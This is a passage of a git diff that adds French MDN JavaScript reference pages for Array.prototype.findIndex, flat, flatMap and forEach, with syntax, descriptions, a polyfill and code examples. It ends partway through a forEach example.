+  - Array
+  - ECMAScript6
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>findIndex()</strong></code> renvoie l'<strong>indice</strong> du <strong>premier élément</strong> du tableau qui satisfait une condition donnée par une fonction. Si la fonction renvoie faux pour tous les éléments du tableau, le résultat vaut -1.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-findindex.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Voir également la méthode {{jsxref("Array.find", "find()")}} qui renvoie la <strong>valeur</strong> (et non l'indice) d'un des éléments trouvés.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.findIndex(<var>callback</var>(element[, index[, tableau]])[, <var>thisArg</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Une fonction à exécuter sur chaque valeur du tableau jusqu'à ce que celle-ci renvoie <code>true</code>. Cette fonction prend trois arguments :
+ <dl>
+  <dt><code>élément</code></dt>
+  <dd>L'élément du tableau qui doit être traité.</dd>
+  <dt><code>indice</code>{{optional_inline}}</dt>
+  <dd>L'indice de l'élément du tableau en cours de traitement.</dd>
+  <dt><code>tableau</code>{{optional_inline}}</dt>
+  <dd>Le tableau sur lequel a été appelé <code>findIndex</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>argumentThis</code>{{optional_inline}}</dt>
+ <dd>L'objet à utiliser comme contexte <code>this</code> lorsque le <code>callback</code> est exécuté.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un indice d'un élément du tableau qui réussit le test décrit, -1 sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>findIndex</code> exécute la fonction <code>callback</code> une fois pour chaque élément présent dans le tableau (le tableau est parcouru entre les indices <code>0</code> et <code>length-1</code> compris) jusqu'à ce que <code>callback</code> renvoie une valeur vraie.</p>
+
+<p>S'il existe un tel élément, <code>findIndex</code> renverra immédiatement l'indice de l'élément concerné. Sinon, <code>findIndex</code> renverra -1. À la différence des autres méthodes liées aux tableaux comme <code>some()</code>, <code>callback</code> est également appelée pour les indices du tableau pour lesquels aucun élément n'est défini.</p>
+
+<p><code>callback</code> possède trois arguments : la valeur de l'élément, l'indice de l'élément et l'objet Array qui est parcouru</p>
+
+<p>Si l'argument <code>argumentThis</code> est fourni à la méthode <code>findIndex</code>, il sera utilisé comme « contexte » <code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this">this</a></code> pour chaque appel de <code>callback</code>. S'il n'est pas fourni, {{jsxref("undefined")}} sera utilisé.</p>
+
+<p><code>findIndex</code> ne modifie pas le tableau sur laquelle elle est appelée. Les éléments qui seront traités par <code>findIndex</code> sont « récoltés » avant le premier appel de <code>callback</code>. Tout élément qui sera ajouté au tableau après l'appel de <code>findIndex</code> ne sera pas utilisé avec <code>callback</code>. Si un élément existant, pas encore visité, est modifié par <code>callback</code>, la valeur qui sera passé au <code>callback</code> pour cet élément modifié sera celle que <code>findIndex</code> utilise lorsqu'elle utilise l'indice de l'élément en question. Les éléments supprimés sont bien parcourus.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Trouver_l'indice_d'un_nombre_premier_dans_un_tableau">Trouver l'indice d'un nombre premier dans un tableau</h3>
+
+<p>L'exemple qui suit illustre comment trouver l'indice d'un élément qui est un nombre premier dans un tableau (ou qui renvoie -1 s'il n'y a pas de nombre premier).</p>
+
+<pre class="brush: js">function estPremier(élément, index, array) {
+  var début = 2;
+  while (début &lt;= Math.sqrt(élément)) {
+    if (élément % début &lt; 1) {
+      return false;
+    } else {
+      début++;
+    }
+  }
+  return élément &gt; 1;
+}
+
+console.log([4, 6, 8, 12].findIndex(estPremier)); // -1, aucun trouvé
+console.log([4, 6, 7, 12].findIndex(estPremier)); // 2</pre>
+
+<h3 id="Trouver_un_indice_avec_une_fonction_fléchée">Trouver un indice avec une fonction fléchée</h3>
+
+<p>Dans cet exemple, on utilise <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">une fonction fléchée</a> pour trouver l'indice d'un élément :</p>
+
+<pre class="brush: js">const fruits = ["pomme", "banane", "melon", "fraise", "raisin"];
+
+const indice = fruits.findIndex(fruit =&gt; fruit === "fraise");
+console.log(indice); // 3
+console.log(fruits[indice]); // fraise </pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.findindex
+if (!Array.prototype.findIndex) {
+  Object.defineProperty(Array.prototype, 'findIndex', {
+    value: function(predicate) {
+     // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predicate must be a function');
+      }
+
+      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+      var thisArg = arguments[1];
+
+      // 5. Let k be 0.
+      var k = 0;
+
+      // 6. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kValue be ? Get(O, Pk).
+        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+        // d. If testResult is true, return k.
+        var kValue = o[k];
+        if (predicate.call(thisArg, kValue, k, o)) {
+          return k;
+        }
+        // e. Increase k by 1.
+        k++;
+      }
+
+      // 7. Return -1.
+      return -1;
+    },
+    configurable: true,
+    writable: true
+  });
+}</pre>
+
+<p>S'il est vraiment nécessaire de prendre en charge les moteurs JavaScript qui ne prennent pas en charge {{jsxref("Object.defineProperty()")}}, mieux vaut ne pas ajouter de prothèse aux méthodes d'<code>Array.prototype</code> car on ne peut pas les rendre non-énumérables.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.findIndex")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/flat/index.html b/files/fr/web/javascript/reference/objets_globaux/array/flat/index.html
new file mode 100644
index 0000000000..27a0337822
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/flat/index.html
@@ -0,0 +1,148 @@
+---
+title: Array.prototype.flat()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/flat
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>flat()</strong></code> permet de créer un nouveau tableau contenant les éléments des sous-tableaux du tableau passé en argument, qui sont concaténés récursivement pour atteindre une profondeur donnée.</p>
+
+<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flatten.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>var nouveauTableau = monTableau</var>.flat([<var>profondeur</var>]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>profondeur</code> {{optional_inline}}</dt>
+ <dd>Le niveau de profondeur en termes d'imbrication de tableau. Autrement dit, jusqu'à quel niveau d'imbrication un tableau imbriqué doit il être aplati. La valeur par défaut est 1.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouveau tableau qui contient la concaténation des éléments des sous-tableaux du tableau passé en argument.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Aplatir_des_tableaux_imbriqués">Aplatir des tableaux imbriqués</h3>
+
+<pre class="brush: js">var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+// [1, 2, 3, 4]
+
+var arr2 = [1, 2, [3, 4, [5, 6]]];
+arr2.flat();
+// [1, 2, 3, 4, [5, 6]]
+
+var arr3 = [1, 2, [3, 4, [5, 6]]];
+arr3.flat(2);
+// [1, 2, 3, 4, 5, 6]
+</pre>
+
+<h3 id="Aplatir_et_combler_les_trous">Aplatir et combler les trous</h3>
+
+<p>La méthode <code>flat()</code> permet également de retirer les « trous » d'un tableau :</p>
+
+<pre class="brush: js">var arr4 = [1, 2, , 4, 5];
+arr4.flat();
+// [1, 2, 4, 5]</pre>
+
+<h2 id="Équivalent">Équivalent</h2>
+
+<h3 id="reduce_et_concat"><code>reduce</code> et <code>concat</code></h3>
+
+<pre class="brush: js">var arr = [1, 2, [3, 4]];
+
+// pour un tableau avec un seul niveau de profondeur
+arr.flat();
+// est équivalent à
+arr.reduce((acc, val) =&gt; acc.concat(val), []);
+// [1, 2, 3, 4]
+
+// avec la décomposition et les compositions flechées, on peut écrire :
+const flat = arr =&gt; [].concat(...arr);
+</pre>
+
+<h3 id="reduce_concat_isArray_récursivité"><code>reduce</code> + <code>concat</code> + <code>isArray</code> + récursivité</h3>
+
+<pre class="brush: js">var arr = [1, 2, [3, 4, [5, 6]]];
+
+// Pour gérer plusieurs niveaux, on pourra utiliser
+// une méthode récursive avec reduce et concat
+function flatDeep(arr) {
+   return arr.reduce((acc, val) =&gt; acc.concat(Array.isArray(val) ? flatDeep(val) : val), []);
+};
+
+flatDeep(arr);
+// [1, 2, 3, 4, 5, 6]
+</pre>
+
+<h3 id="Utiliser_une_pile">Utiliser une pile</h3>
+
+<pre class="brush: js">var arr = [1, 2, [3, 4]];
+
+// Version non récursive utilisant une pile
+function flatStack(input) {
+  const stack = [...input];
+  const res = [];
+  while (stack.length) {
+    // On sort une valeur de la pile
+    const next = stack.pop();
+    if (Array.isArray(next)) {
+      // On place les éléments qui sont des tableaux dans
+      // la pile sans modifier l'entrée
+      stack.push(...next);
+    } else {
+      res.push(next);
+    }
+  }
+  // On inverse le résultat pour revenir
+  // à l 'ordre de l'entrée
+  return res.reverse();
+}
+
+flatStack(arr);
+// [1, 2, 3, 4]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://www.ecma-international.org/ecma-262/10.0/index.html#sec-array.prototype.flat">ECMAScript 2019</a></td>
+   <td>Finalisé</td>
+   <td>Proposition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.flat")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flatMap()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/flatmap/index.html b/files/fr/web/javascript/reference/objets_globaux/array/flatmap/index.html
new file mode 100644
index 0000000000..f69e64607c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/flatmap/index.html
@@ -0,0 +1,126 @@
+---
+title: Array.prototype.flatMap()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/flatMap
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flatMap
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>flatMap()</strong></code> permet d'appliquer une fonction à chaque élément du tableau puis d'aplatir le résultat en un tableau. Cela correspond à l'enchaînement de {{jsxref("Array.prototype.map()")}} suivi de {{jsxref("Array.prototype.flat()")}} de profondeur 1. <code>flatMap</code> est plus efficace que la combinaison de ces deux opérations, souvent réalisées conjointement.</p>
+
+<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flatmap.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>var new_array = arr</var>.flatMap(function <var>callback(currentValue[, index[, array]]) {
+    // return element for new_array
+}</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction qui produit un élément du nouveau tableau et qui prend trois arguments :
+ <dl>
+  <dt></dt>
+  <dt><code>currentValue</code></dt>
+  <dd>La valeur du tableau qui est traitée.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>L'indice de l'élément du tableau qui est traitée.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>Le tableau sur lequel <code>flatMap</code> a été appelée.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{optional_inline}}</dt>
+ <dd>La valeur à utiliser comme contexte <code>this</code> lors de l'exécution de <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouveau tableau composé d'éléments résultants de la fonction de rappel (<em>callback</em>) et aplati d'un niveau de profondeur.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Pour la fonction de rappel, voir {{jsxref("Array.prototype.map()")}}. La méthode <code>flatMap()</code> est identique à un appel de {{jsxref("Array.prototype.map()")}} suivi d'un appel de {{jsxref("Array.prototype.flat()")}} avec la profondeur 1.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="map_et_flatMap"><code>map()</code> et <code>flatMap()</code></h3>
+
+<pre class="brush: js">var arr1 = <span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>[</span></span><span class="constant decimal js numeric"><span>1</span></span><span class="comma delimiter js meta object"><span>,</span></span><span> </span><span class="brace js meta square"><span>2, 3, 4];
+
+arr1.map(</span></span></span></span></span>x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);</span></span></span></span></span>
+// [[2], [4], [6], [8]]
+
+arr1.flatMap(x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);
+// [2, 4, 6, 8]</span></span></span></span></span>
+
+// seul un niveau est aplati
+arr1.flatMap(x =&gt; [[x * 2]]);
+// [[2], [4], [6], [8]]
+</pre>
+
+<p>On peut utiliser un autre exemple où on génère une liste de mots à partir d'une liste de phrases :</p>
+
+<pre class="brush: js">let tableau1 = ["Coucou comment", "", "ça va ?"];
+
+tableau1.map(x =&gt; x.split(" "));
+// [["Coucou", "comment"], [""], ["ça", "va", "?"]]
+
+tableau1.flatMap(x =&gt; x.split(" "));
+// ["Coucou", "comment", "", "ça", "va", "?"]
+</pre>
+
+<p>On notera que la longueur de la liste obtenue avec <code>flatMap</code> est différente de la longueur de la liste originale.</p>
+
+<div class="line"><span class="js source"><span class="comment double-slash js line"><span class="comment definition js punctuation"><span>//</span></span><span>=&gt; [1, 2, 3, 4, 5, 6, 7, 8, 9]</span></span></span></div>
+
+<h2 id="Équivalent">Équivalent</h2>
+
+<h3 id="reduce_et_concat"><code>reduce()</code> et <code>concat()</code></h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> arr <span class="operator token">=</span> <span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">,</span> <span class="number token">4</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+
+arr<span class="punctuation token">.</span><span class="function token">flatMap</span><span class="punctuation token">(</span>x <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="punctuation token">[x, </span>x <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// est équivalent à</span>
+arr<span class="punctuation token">.</span><span class="function token">reduce</span><span class="punctuation token">(</span><span class="punctuation token">(</span>acc<span class="punctuation token">,</span> x<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> acc<span class="punctuation token">.</span><span class="function token">concat</span><span class="punctuation token">(</span><span class="punctuation token">[x, </span>x <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">,</span> <span class="punctuation token">[</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// [1, 2, 2, 4, 3, 6, 4, 8]</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://www.ecma-international.org/ecma-262/10.0/index.html#sec-array.prototype.flatmap">ECMAScript 2019</a></td>
+   <td>Finalisé</td>
+   <td>Proposition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.flatMap")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flat()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/foreach/index.html b/files/fr/web/javascript/reference/objets_globaux/array/foreach/index.html
new file mode 100644
index 0000000000..d5fe37c438
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/foreach/index.html
@@ -0,0 +1,278 @@
+---
+title: Array.prototype.forEach()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/forEach
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>forEach()</strong></code> permet d'exécuter une fonction donnée sur chaque élément du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-foreach.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.forEach(<var>callback</var>);
+arr.forEach(callback, <var>thisArg</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à utiliser pour chaque élément du tableau. Elle prend en compte trois arguments :
+ <dl>
+  <dt><code>valeurCourante</code></dt>
+  <dd>La valeur de l'élément du tableau en cours de traitement.</dd>
+  <dt><code>index</code> {{optional_inline}}</dt>
+  <dd>L'indice de l'élément du tableau en cours de traitement.</dd>
+  <dt><code>array</code> {{optional_inline}}</dt>
+  <dd>Le tableau sur lequel la méthode <code>forEach</code> est appliquée.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd>Paramètre optionnel. La valeur à utiliser pour <code>this</code> lors de l'exécution de <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>forEach()</code> exécute la fonction <code><em>callback</em></code> une fois pour chaque élément du tableau, dans l'ordre croissant des indices. Cette fonction n'est pas appelée pour les indices pour lesquels les éléments ont été supprimés ou qui n'ont pas été définis. Attention, en revanche elle est appelée pour les éléments qui sont présents et qui valent {{jsxref("undefined")}}.</p>
+
+<p><code>callback</code> est appelé avec trois arguments :</p>
+
+<ul>
+ <li>la valeur de l'élément</li>
+ <li>l'index de l'élément</li>
+ <li>le tableau utilisé</li>
+</ul>
+
+<p>Si un paramètre <code>thisArg</code> est fourni à la méthode <code>forEach</code>, il sera utilisé en tant que valeur <code>this</code> pour chaque appel de <code>callback</code>. Sinon, ce sera la valeur <code>undefined</code> qui sera utilisée comme valeur <code>this</code>. La valeur <code>this</code> finalement prise en compte par la fonction <code>callback</code> est déterminée selon <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">les règles usuelles pour déterminer la valeur de <code>this</code> utilisée dans une fonction</a>.</p>
+
+<p>L'ensemble des éléments traités par <code>forEach</code> est défini avant le premier appel à <code>callback</code>. Les éléments ajoutés au tableau après que l'appel à <code>forEach</code> ait commencé ne seront pas visités par <code>callback</code>. Si des éléments déjà présents dans le tableau sont modifiés, leur valeur telle qu'elle est passée au <code>callback</code> sera la valeur au moment du passage du <code>forEach</code> ; les éléments supprimés ne sont pas parcourus. Voir <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/forEach#Attention_aux_modifications_en_cours">l'exemple ci-après</a>.</p>
+
+<p><code>forEach()</code> exécute la fonction <code>callback</code> une fois pour chaque élément. À la différence de {{jsxref("Array.prototype.map()", "map()")}} ou de {{jsxref("Array.prototype.reduce()", "reduce()")}} il renvoie toujours la valeur {{jsxref("undefined")}} et ne peut donc pas être « enchaîné ». Généralement, l'effet voulu est de déclencher des effets de bord en fin de chaîne.</p>
+
+<p><code>forEach()</code> ne modifie pas le tableau sur lequel elle est appelée, en revanche, la fonction de retour (<em>callback</em>) utilisée peut modifier le tableau.</p>
+
+<div class="note"><strong>Note :</strong>
+
+<p>Il n'existe aucun moyen d'arrêter une boucle <code>forEach</code> en dehors de lever une exception. Si vous avez besoin d'arrêter la boucle, étudiez plutôt :</p>
+
+<ul>
+ <li>Une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for">for</a></code> classique</li>
+ <li>Une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code> ou <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a></code></li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
+
+<p>Les autres méthodes associées aux tableaux ({{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.find()")}}, {{jsxref("Array.prototype.findIndex()")}}) utilisent une fonction de texte qui permet de renvoyer une valeur équivalente à <code>true</code> si besoin de poursuivre la boucle.</p>
+</div>
+
+<p><code>forEach</code> exécute la fonction <code>callback</code> une fois pour chaque élément ; contrairement à <code>every</code> et <code><code>some</code></code>, cette méthode renvoie toujours <code>undefined</code> et ne peut pas être enchaînée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Équivalence_entre_une_boucle_for_et_une_boucle_forEach">Équivalence entre une boucle <code>for</code> et une boucle <code>forEach</code></h3>
+
+<p>Voici un fragment de code simple qui utilise une boucle <code>for</code></p>
+
+<pre class="brush: js">var items = ["item1", "item2", "item3"];
+var copie = [];
+
+for (var i = 0; i &lt; items.length; i++) {
+  copie.push(items[i]);
+}
+</pre>
+
+<p>Et voici un fragment de code équivalent qui utilise <code>forEach</code> :</p>
+
+<pre class="brush: js">var items = ["item1", "item2", "item3"]
+var copie = [];
+
+items.forEach(function(item){
+  copie.push(item);
+});</pre>
+
+<h3 id="Afficher_le_contenu_d'un_tableau">Afficher le contenu d'un tableau</h3>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Pour afficher le contenu d'un tableau, on pourra utiliser <code><a href="/fr/docs/Web/API/Console/table">console.table()</a></code> qui met en forme les éléments du tableau. L'exemple suivant est laissé à titre d'illustration pour <code>forEach()</code>.</p>
+</div>
+
+<p>Le code suivant affiche une ligne pour chaque élément du tableau :</p>
+
+<pre class="brush:js">function logArrayElements(element, index, array) {
+    console.log("a[" + index + "] = " + element);
+}
+[2, 5, , 9].forEach(logArrayElements);
+// logs:
+// a[0] = 2
+// a[1] = 5
+// a[3] = 9
+
+</pre>
+
+<h3 id="Utiliser_l'argument_pour_this">Utiliser l'argument pour <code>this</code></h3>
+
+<p>Dans l'exemple qui suit, on met à jour les propriétés d'un objet à partir des éléments d'un tableau :</p>
+
+<pre class="brush: js">function Compteur() {
+  this.somme = 0;
+  this.compte = 0;
+}
+
+Compteur.prototype.ajouter = function(tableau) {
+  tableau.forEach(function(element) {
+    this.somme += element;
+    ++this.compte;
+  },  this);
+  //  ^---- On a ajouté l'argument this ici.
+};
+
+var obj = new Compteur();
+obj.ajouter([2, 5, 9]);
+console.log(obj.compte); // 3
+console.log(obj.somme);  // 16
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Le paramètre pour <code>this</code> est passé à la méthode <code>forEach()</code>, à chaque appel du callback, celui-ci sera utilisé comme valeur pour <code>this</code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note : </strong>Si la fonction passée en argument est <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">une fonction fléchée</a>, il n'est pas nécessaire d'ajouter le paramètre <code>this</code> car les fonctions fléchées utilisent le <code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this">this</a></code> fourni par le contexte lexical.</p>
+</div>
+
+<h3 id="Stopper_une_boucle">Stopper une boucle</h3>
+
+<p>Le code qui suit utilise la méthode {{jsxref("Array.prototype.every")}} pour afficher le contenu d'un tableau et s'arrêter lorsqu'il atteint une valeur supérieure à <code>SEUIL_MAX</code>.</p>
+
+<pre class="brush: js">var SEUIL_MAX = 12;
+var v = [5, 2, 16, 4, 3, 18, 20];
+var res;
+
+res = v.every(function(element, index, array) {
+  console.log('élément :', element);
+  if (element &gt;= SEUIL_MAX) {
+    return false;
+  }
+
+  return true;
+});
+console.log('res:', res);
+// affiche :
+// élément : 5
+// élément : 2
+// élément : 16
+// res : false
+
+res = v.some(function(element, index, array) {
+  console.log('élément:', element);
+  if (element &gt;= SEUIL_MAX) {
+    return true;
+  }
+
+  return false;
+});
+console.log('res:', res);
+// affiche :
+// élément : 5
+// élément : 2
+// élément : 16
+// res: true</pre>
+
+<h3 id="Une_fonction_de_copie_d'objet">Une fonction de copie d'objet</h3>
+
+<p>Le code qui suit permet de créer une copie d'un objet donné. Il existe différentes façons pour créer une copie d'un objet. L'exemple suivant illustre une de ces façons afin d'expliquer le fonctionnement d'<code>Array.prototype.forEach</code> et d'utiliser les fonctions ECMAScript 5 <code>Object.*</code>.</p>
+
+<pre class="brush: js">function copie(obj) {
+  var copie = Object.create(Object.getPrototypeOf(obj));
+  var propNames = Object.getOwnPropertyNames(obj);
+
+  propNames.forEach(function(nom) {
+    var desc = Object.getOwnPropertyDescriptor(obj, nom);
+    Object.defineProperty(copie, nom, desc);
+  });
+
+  return copie;
+}
+
+var obj1 = { a: 1, b: 2 };
